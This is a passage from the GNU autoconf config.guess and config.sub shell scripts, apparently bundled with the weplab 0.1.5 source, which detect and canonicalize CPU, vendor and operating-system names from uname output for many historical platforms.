${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \ | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*TS:*:*:*) echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*T3E:*:*:*) echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*SV1:*:*:*) echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; *:UNICOS/mp:*:*) echo craynv-cray-unicosmp${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'` echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" exit 0 ;; 5000:UNIX_System_V:4.*:*) FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` FUJITSU_REL=`echo ${UNAME_RELEASE} | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/ /_/'` echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" exit 0 ;; i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE} exit 0 ;; sparc*:BSD/OS:*:*) echo sparc-unknown-bsdi${UNAME_RELEASE} exit 0 ;; *:BSD/OS:*:*) echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE} exit 0 ;; *:FreeBSD:*:*) echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` exit 0 ;; i*:CYGWIN*:*) echo ${UNAME_MACHINE}-pc-cygwin exit 0 ;; i*:MINGW*:*) echo ${UNAME_MACHINE}-pc-mingw32 exit 0 ;; i*:PW*:*) echo ${UNAME_MACHINE}-pc-pw32 exit 0 ;; x86:Interix*:[34]*) echo i586-pc-interix${UNAME_RELEASE}|sed -e 's/\..*//' exit 0 ;; [345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*) echo i${UNAME_MACHINE}-pc-mks exit 0 ;; i*:Windows_NT*:* | Pentium*:Windows_NT*:*) # How do we know it's Interix rather than the generic POSIX subsystem? # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we # UNAME_MACHINE based on the output of uname instead of i386? echo i586-pc-interix exit 0 ;; i*:UWIN*:*) echo ${UNAME_MACHINE}-pc-uwin exit 0 ;; amd64:CYGWIN*:*:*) echo x86_64-unknown-cygwin exit 0 ;; p*:CYGWIN*:*) echo powerpcle-unknown-cygwin exit 0 ;; prep*:SunOS:5.*:*) echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit 0 ;; *:GNU:*:*) # the GNU system echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'` exit 0 ;; *:GNU/*:*:*) # other systems with GNU libc and userland echo ${UNAME_MACHINE}-unknown-`echo ${UNAME_SYSTEM} | sed 's,^[^/]*/,,' | tr '[A-Z]' '[a-z]'``echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`-gnu exit 0 ;; i*86:Minix:*:*) echo ${UNAME_MACHINE}-pc-minix exit 0 ;; arm*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; cris:Linux:*:*) echo cris-axis-linux-gnu exit 0 ;; crisv32:Linux:*:*) echo crisv32-axis-linux-gnu exit 0 ;; frv:Linux:*:*) echo frv-unknown-linux-gnu exit 0 ;; ia64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; m32r*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; m68*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; mips:Linux:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #undef CPU #undef mips #undef mipsel #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) CPU=mipsel #else #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) CPU=mips #else CPU= #endif #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=` test x"${CPU}" != x && echo "${CPU}-unknown-linux-gnu" && exit 0 ;; mips64:Linux:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #undef CPU #undef mips64 #undef mips64el #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) CPU=mips64el #else #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) CPU=mips64 #else CPU= #endif #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=` test x"${CPU}" != x && echo "${CPU}-unknown-linux-gnu" && exit 0 ;; ppc:Linux:*:*) echo powerpc-unknown-linux-gnu exit 0 ;; ppc64:Linux:*:*) echo powerpc64-unknown-linux-gnu exit 0 ;; alpha:Linux:*:*) case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in EV5) UNAME_MACHINE=alphaev5 ;; EV56) UNAME_MACHINE=alphaev56 ;; PCA56) UNAME_MACHINE=alphapca56 ;; PCA57) UNAME_MACHINE=alphapca56 ;; EV6) UNAME_MACHINE=alphaev6 ;; EV67) UNAME_MACHINE=alphaev67 ;; EV68*) UNAME_MACHINE=alphaev68 ;; esac objdump --private-headers /bin/sh | grep ld.so.1 >/dev/null if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC} exit 0 ;; parisc:Linux:*:* | hppa:Linux:*:*) # Look for CPU level case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in PA7*) echo hppa1.1-unknown-linux-gnu ;; PA8*) echo hppa2.0-unknown-linux-gnu ;; *) echo hppa-unknown-linux-gnu ;; esac exit 0 ;; parisc64:Linux:*:* | hppa64:Linux:*:*) echo hppa64-unknown-linux-gnu exit 0 ;; s390:Linux:*:* | s390x:Linux:*:*) echo ${UNAME_MACHINE}-ibm-linux exit 0 ;; sh64*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; sh*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; sparc:Linux:*:* | sparc64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; x86_64:Linux:*:*) echo x86_64-unknown-linux-gnu exit 0 ;; i*86:Linux:*:*) # The BFD linker knows what the default object file format is, so # first see if it will tell us. cd to the root directory to prevent # problems with other programs or directories called `ld' in the path. # Set LC_ALL=C to ensure ld outputs messages in English. ld_supported_targets=`cd /; LC_ALL=C ld --help 2>&1 \ | sed -ne '/supported targets:/!d s/[ ][ ]*/ /g s/.*supported targets: *// s/ .*// p'` case "$ld_supported_targets" in elf32-i386) TENTATIVE="${UNAME_MACHINE}-pc-linux-gnu" ;; a.out-i386-linux) echo "${UNAME_MACHINE}-pc-linux-gnuaout" exit 0 ;; coff-i386) echo "${UNAME_MACHINE}-pc-linux-gnucoff" exit 0 ;; "") # Either a pre-BFD a.out linker (linux-gnuoldld) or # one that does not give us useful --help. echo "${UNAME_MACHINE}-pc-linux-gnuoldld" exit 0 ;; esac # Determine whether the default compiler is a.out or elf eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include #ifdef __ELF__ # ifdef __GLIBC__ # if __GLIBC__ >= 2 LIBC=gnu # else LIBC=gnulibc1 # endif # else LIBC=gnulibc1 # endif #else #ifdef __INTEL_COMPILER LIBC=gnu #else LIBC=gnuaout #endif #endif #ifdef __dietlibc__ LIBC=dietlibc #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^LIBC=` test x"${LIBC}" != x && echo "${UNAME_MACHINE}-pc-linux-${LIBC}" && exit 0 test x"${TENTATIVE}" != x && echo "${TENTATIVE}" && exit 0 ;; i*86:DYNIX/ptx:4*:*) # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. # earlier versions are messed up and put the nodename in both # sysname and nodename. echo i386-sequent-sysv4 exit 0 ;; i*86:UNIX_SV:4.2MP:2.*) # Unixware is an offshoot of SVR4, but it has its own version # number series starting with 2... # I am not positive that other SVR4 systems won't match this, # I just have to hope. -- rms. # Use sysv4.2uw... so that sysv4* matches it. echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION} exit 0 ;; i*86:OS/2:*:*) # If we were able to find `uname', then EMX Unix compatibility # is probably installed. echo ${UNAME_MACHINE}-pc-os2-emx exit 0 ;; i*86:XTS-300:*:STOP) echo ${UNAME_MACHINE}-unknown-stop exit 0 ;; i*86:atheos:*:*) echo ${UNAME_MACHINE}-unknown-atheos exit 0 ;; i*86:syllable:*:*) echo ${UNAME_MACHINE}-pc-syllable exit 0 ;; i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.0*:*) echo i386-unknown-lynxos${UNAME_RELEASE} exit 0 ;; i*86:*DOS:*:*) echo ${UNAME_MACHINE}-pc-msdosdjgpp exit 0 ;; i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*) UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'` if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL} else echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL} fi exit 0 ;; i*86:*:5:[78]*) case `/bin/uname -X | grep "^Machine"` in *486*) UNAME_MACHINE=i486 ;; *Pentium) UNAME_MACHINE=i586 ;; *Pent*|*Celeron) UNAME_MACHINE=i686 ;; esac echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION} exit 0 ;; i*86:*:3.2:*) if test -f /usr/options/cb.name; then UNAME_REL=`sed -n 's/.*Version //p' /dev/null >/dev/null ; then UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')` (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486 (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ && UNAME_MACHINE=i586 (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ && UNAME_MACHINE=i686 (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ && UNAME_MACHINE=i686 echo ${UNAME_MACHINE}-pc-sco$UNAME_REL else echo ${UNAME_MACHINE}-pc-sysv32 fi exit 0 ;; pc:*:*:*) # Left here for compatibility: # uname -m prints for DJGPP always 'pc', but it prints nothing about # the processor, so we play safe by assuming i386. echo i386-pc-msdosdjgpp exit 0 ;; Intel:Mach:3*:*) echo i386-pc-mach3 exit 0 ;; paragon:*:*:*) echo i860-intel-osf1 exit 0 ;; i860:*:4.*:*) # i860-SVR4 if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4 else # Add other i860-SVR4 vendors below as they are discovered. echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4 fi exit 0 ;; mini*:CTIX:SYS*5:*) # "miniframe" echo m68010-convergent-sysv exit 0 ;; mc68k:UNIX:SYSTEM5:3.51m) echo m68k-convergent-sysv exit 0 ;; M680?0:D-NIX:5.3:*) echo m68k-diab-dnix exit 0 ;; M68*:*:R3V[5678]*:*) test -r /sysV68 && echo 'm68k-motorola-sysv' && exit 0 ;; 3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0) OS_REL='' test -r /etc/.relid \ && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && echo i486-ncr-sysv4.3${OS_REL} && exit 0 /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ && echo i586-ncr-sysv4.3${OS_REL} && exit 0 ;; 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && echo i486-ncr-sysv4 && exit 0 ;; m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*) echo m68k-unknown-lynxos${UNAME_RELEASE} exit 0 ;; mc68030:UNIX_System_V:4.*:*) echo m68k-atari-sysv4 exit 0 ;; TSUNAMI:LynxOS:2.*:*) echo sparc-unknown-lynxos${UNAME_RELEASE} exit 0 ;; rs6000:LynxOS:2.*:*) echo rs6000-unknown-lynxos${UNAME_RELEASE} exit 0 ;; PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.0*:*) echo powerpc-unknown-lynxos${UNAME_RELEASE} exit 0 ;; SM[BE]S:UNIX_SV:*:*) echo mips-dde-sysv${UNAME_RELEASE} exit 0 ;; RM*:ReliantUNIX-*:*:*) echo mips-sni-sysv4 exit 0 ;; RM*:SINIX-*:*:*) echo mips-sni-sysv4 exit 0 ;; *:SINIX-*:*:*) if uname -p 2>/dev/null >/dev/null ; then UNAME_MACHINE=`(uname -p) 2>/dev/null` echo ${UNAME_MACHINE}-sni-sysv4 else echo ns32k-sni-sysv fi exit 0 ;; PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort # says echo i586-unisys-sysv4 exit 0 ;; *:UNIX_System_V:4*:FTX*) # From Gerald Hewes . # How about differentiating between stratus architectures? -djm echo hppa1.1-stratus-sysv4 exit 0 ;; *:*:*:FTX*) # From seanf@swdc.stratus.com. echo i860-stratus-sysv4 exit 0 ;; i*86:VOS:*:*) # From Paul.Green@stratus.com. echo ${UNAME_MACHINE}-stratus-vos exit 0 ;; *:VOS:*:*) # From Paul.Green@stratus.com. echo hppa1.1-stratus-vos exit 0 ;; mc68*:A/UX:*:*) echo m68k-apple-aux${UNAME_RELEASE} exit 0 ;; news*:NEWS-OS:6*:*) echo mips-sony-newsos6 exit 0 ;; R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) if [ -d /usr/nec ]; then echo mips-nec-sysv${UNAME_RELEASE} else echo mips-unknown-sysv${UNAME_RELEASE} fi exit 0 ;; BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. echo powerpc-be-beos exit 0 ;; BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. echo powerpc-apple-beos exit 0 ;; BePC:BeOS:*:*) # BeOS running on Intel PC compatible. echo i586-pc-beos exit 0 ;; SX-4:SUPER-UX:*:*) echo sx4-nec-superux${UNAME_RELEASE} exit 0 ;; SX-5:SUPER-UX:*:*) echo sx5-nec-superux${UNAME_RELEASE} exit 0 ;; SX-6:SUPER-UX:*:*) echo sx6-nec-superux${UNAME_RELEASE} exit 0 ;; Power*:Rhapsody:*:*) echo powerpc-apple-rhapsody${UNAME_RELEASE} exit 0 ;; *:Rhapsody:*:*) echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE} exit 0 ;; *:Darwin:*:*) UNAME_PROCESSOR=`uname -p` || UNAME_PROCESSOR=unknown case $UNAME_PROCESSOR in *86) UNAME_PROCESSOR=i686 ;; unknown) UNAME_PROCESSOR=powerpc ;; esac echo ${UNAME_PROCESSOR}-apple-darwin${UNAME_RELEASE} exit 0 ;; *:procnto*:*:* | *:QNX:[0123456789]*:*) UNAME_PROCESSOR=`uname -p` if test "$UNAME_PROCESSOR" = "x86"; then UNAME_PROCESSOR=i386 UNAME_MACHINE=pc fi echo ${UNAME_PROCESSOR}-${UNAME_MACHINE}-nto-qnx${UNAME_RELEASE} exit 0 ;; *:QNX:*:4*) echo i386-pc-qnx exit 0 ;; NSE-?:NONSTOP_KERNEL:*:*) echo nse-tandem-nsk${UNAME_RELEASE} exit 0 ;; NSR-?:NONSTOP_KERNEL:*:*) echo nsr-tandem-nsk${UNAME_RELEASE} exit 0 ;; *:NonStop-UX:*:*) echo mips-compaq-nonstopux exit 0 ;; BS2000:POSIX*:*:*) echo bs2000-siemens-sysv exit 0 ;; DS/*:UNIX_System_V:*:*) echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE} exit 0 ;; *:Plan9:*:*) # "uname -m" is not consistent, so use $cputype instead. 386 # is converted to i386 for consistency with other x86 # operating systems. if test "$cputype" = "386"; then UNAME_MACHINE=i386 else UNAME_MACHINE="$cputype" fi echo ${UNAME_MACHINE}-unknown-plan9 exit 0 ;; *:TOPS-10:*:*) echo pdp10-unknown-tops10 exit 0 ;; *:TENEX:*:*) echo pdp10-unknown-tenex exit 0 ;; KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*) echo pdp10-dec-tops20 exit 0 ;; XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*) echo pdp10-xkl-tops20 exit 0 ;; *:TOPS-20:*:*) echo pdp10-unknown-tops20 exit 0 ;; *:ITS:*:*) echo pdp10-unknown-its exit 0 ;; SEI:*:*:SEIUX) echo mips-sei-seiux${UNAME_RELEASE} exit 0 ;; *:DragonFly:*:*) echo ${UNAME_MACHINE}-unknown-dragonfly`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` exit 0 ;; *:*VMS:*:*) UNAME_MACHINE=`(uname -p) 2>/dev/null` case "${UNAME_MACHINE}" in A*) echo alpha-dec-vms && exit 0 ;; I*) echo ia64-dec-vms && exit 0 ;; V*) echo vax-dec-vms && exit 0 ;; esac ;; *:XENIX:*:SysV) echo i386-pc-xenix exit 0 ;; esac #echo '(No uname command or uname output not recognized.)' 1>&2 #echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2 eval $set_cc_for_build cat >$dummy.c < # include #endif main () { #if defined (sony) #if defined (MIPSEB) /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, I don't know.... */ printf ("mips-sony-bsd\n"); exit (0); #else #include printf ("m68k-sony-newsos%s\n", #ifdef NEWSOS4 "4" #else "" #endif ); exit (0); #endif #endif #if defined (__arm) && defined (__acorn) && defined (__unix) printf ("arm-acorn-riscix"); exit (0); #endif #if defined (hp300) && !defined (hpux) printf ("m68k-hp-bsd\n"); exit (0); #endif #if defined (NeXT) #if !defined (__ARCHITECTURE__) #define __ARCHITECTURE__ "m68k" #endif int version; version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`; if (version < 4) printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); else printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); exit (0); #endif #if defined (MULTIMAX) || defined (n16) #if defined (UMAXV) printf ("ns32k-encore-sysv\n"); exit (0); #else #if defined (CMU) printf ("ns32k-encore-mach\n"); exit (0); #else printf ("ns32k-encore-bsd\n"); exit (0); #endif #endif #endif #if defined (__386BSD__) printf ("i386-pc-bsd\n"); exit (0); #endif #if defined (sequent) #if defined (i386) printf ("i386-sequent-dynix\n"); exit (0); #endif #if defined (ns32000) printf ("ns32k-sequent-dynix\n"); exit (0); #endif #endif #if defined (_SEQUENT_) struct utsname un; uname(&un); if (strncmp(un.version, "V2", 2) == 0) { printf ("i386-sequent-ptx2\n"); exit (0); } if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ printf ("i386-sequent-ptx1\n"); exit (0); } printf ("i386-sequent-ptx\n"); exit (0); #endif #if defined (vax) # if !defined (ultrix) # include # if defined (BSD) # if BSD == 43 printf ("vax-dec-bsd4.3\n"); exit (0); # else # if BSD == 199006 printf ("vax-dec-bsd4.3reno\n"); exit (0); # else printf ("vax-dec-bsd\n"); exit (0); # endif # endif # else printf ("vax-dec-bsd\n"); exit (0); # endif # else printf ("vax-dec-ultrix\n"); exit (0); # endif #endif #if defined (alliant) && defined (i860) printf ("i860-alliant-bsd\n"); exit (0); #endif exit (1); } EOF $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null && $dummy && exit 0 # Apollos put the system type in the environment. test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit 0; } # Convex versions that predate uname can use getsysinfo(1) if [ -x /usr/convex/getsysinfo ] then case `getsysinfo -f cpu_type` in c1*) echo c1-convex-bsd exit 0 ;; c2*) if getsysinfo -f scalar_acc then echo c32-convex-bsd else echo c2-convex-bsd fi exit 0 ;; c34*) echo c34-convex-bsd exit 0 ;; c38*) echo c38-convex-bsd exit 0 ;; c4*) echo c4-convex-bsd exit 0 ;; esac fi cat >&2 < in order to provide the needed information to handle your system. config.guess timestamp = $timestamp uname -m = `(uname -m) 2>/dev/null || echo unknown` uname -r = `(uname -r) 2>/dev/null || echo unknown` uname -s = `(uname -s) 2>/dev/null || echo unknown` uname -v = `(uname -v) 2>/dev/null || echo unknown` /usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null` /bin/uname -X = `(/bin/uname -X) 2>/dev/null` hostinfo = `(hostinfo) 2>/dev/null` /bin/universe = `(/bin/universe) 2>/dev/null` /usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null` /bin/arch = `(/bin/arch) 2>/dev/null` /usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null` /usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null` UNAME_MACHINE = ${UNAME_MACHINE} UNAME_RELEASE = ${UNAME_RELEASE} UNAME_SYSTEM = ${UNAME_SYSTEM} UNAME_VERSION = ${UNAME_VERSION} EOF exit 1 # Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "timestamp='" # time-stamp-format: "%:y-%02m-%02d" # time-stamp-end: "'" # End: weplab-0.1.5/config.sub0000755000000000000000000007547010232775425011665 00000000000000#! /bin/sh # Configuration validation subroutine script. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, # 2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc. timestamp='2005-04-22' # This file is (in principle) common to ALL GNU software. # The presence of a machine in this file suggests that SOME GNU software # can handle that machine. It does not imply ALL GNU software can. # # This file is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, # Boston, MA 02111-1307, USA. # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Please send patches to . Submit a context # diff and a properly formatted ChangeLog entry. # # Configuration subroutine to validate and canonicalize a configuration type. # Supply the specified configuration type as an argument. # If it is invalid, we print an error message on stderr and exit with code 1. # Otherwise, we print the canonical config type on stdout and succeed. # This file is supposed to be the same for all GNU packages # and recognize all the CPU types, system types and aliases # that are meaningful with *any* GNU software. # Each package is responsible for reporting which valid configurations # it does not support. The user should be able to distinguish # a failure to support a valid configuration from a meaningless # configuration. # The goal of this file is to map all the various variations of a given # machine specification into a single specification in the form: # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM # or in some cases, the newer four-part form: # CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM # It is wrong to echo any other type of specification. me=`echo "$0" | sed -e 's,.*/,,'` usage="\ Usage: $0 [OPTION] CPU-MFR-OPSYS $0 [OPTION] ALIAS Canonicalize a configuration name. Operation modes: -h, --help print this help, then exit -t, --time-stamp print date of last modification, then exit -v, --version print version number, then exit Report bugs and patches to ." version="\ GNU config.sub ($timestamp) Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." help=" Try \`$me --help' for more information." # Parse command line while test $# -gt 0 ; do case $1 in --time-stamp | --time* | -t ) echo "$timestamp" ; exit 0 ;; --version | -v ) echo "$version" ; exit 0 ;; --help | --h* | -h ) echo "$usage"; exit 0 ;; -- ) # Stop option processing shift; break ;; - ) # Use stdin as input. break ;; -* ) echo "$me: invalid option $1$help" exit 1 ;; *local*) # First pass through any local machine types. echo $1 exit 0;; * ) break ;; esac done case $# in 0) echo "$me: missing argument$help" >&2 exit 1;; 1) ;; *) echo "$me: too many arguments$help" >&2 exit 1;; esac # Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any). # Here we must recognize all the valid KERNEL-OS combinations. maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'` case $maybe_os in nto-qnx* | linux-gnu* | linux-dietlibc | linux-uclibc* | uclinux-uclibc* | uclinux-gnu* | \ kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* | storm-chaos* | os2-emx* | rtmk-nova*) os=-$maybe_os basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'` ;; *) basic_machine=`echo $1 | sed 's/-[^-]*$//'` if [ $basic_machine != $1 ] then os=`echo $1 | sed 's/.*-/-/'` else os=; fi ;; esac ### Let's recognize common machines as not being operating systems so ### that things like config.sub decstation-3100 work. We also ### recognize some manufacturers as not being operating systems, so we ### can provide default operating systems below. case $os in -sun*os*) # Prevent following clause from handling this invalid input. ;; -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \ -att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \ -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \ -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\ -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \ -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \ -apple | -axis | -knuth | -cray) os= basic_machine=$1 ;; -sim | -cisco | -oki | -wec | -winbond) os= basic_machine=$1 ;; -scout) ;; -wrs) os=-vxworks basic_machine=$1 ;; -chorusos*) os=-chorusos basic_machine=$1 ;; -chorusrdb) os=-chorusrdb basic_machine=$1 ;; -hiux*) os=-hiuxwe2 ;; -sco5) os=-sco3.2v5 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco4) os=-sco3.2v4 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco3.2.[4-9]*) os=`echo $os | sed -e 's/sco3.2./sco3.2v/'` basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco3.2v[4-9]*) # Don't forget version if it is 3.2v4 or newer. basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco*) os=-sco3.2v2 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -udk*) basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -isc) os=-isc2.2 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -clix*) basic_machine=clipper-intergraph ;; -isc*) basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -lynx*) os=-lynxos ;; -ptx*) basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'` ;; -windowsnt*) os=`echo $os | sed -e 's/windowsnt/winnt/'` ;; -psos*) os=-psos ;; -mint | -mint[0-9]*) basic_machine=m68k-atari os=-mint ;; esac # Decode aliases for certain CPU-COMPANY combinations. case $basic_machine in # Recognize the basic CPU types without company name. # Some are omitted here because they have special meanings below. 1750a | 580 \ | a29k \ | alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \ | alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \ | am33_2.0 \ | arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr \ | bfin \ | c4x | clipper \ | d10v | d30v | dlx | dsp16xx \ | fr30 | frv \ | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \ | i370 | i860 | i960 | ia64 \ | ip2k | iq2000 \ | m32r | m32rle | m68000 | m68k | m88k | maxq | mcore \ | mips | mipsbe | mipseb | mipsel | mipsle \ | mips16 \ | mips64 | mips64el \ | mips64vr | mips64vrel \ | mips64orion | mips64orionel \ | mips64vr4100 | mips64vr4100el \ | mips64vr4300 | mips64vr4300el \ | 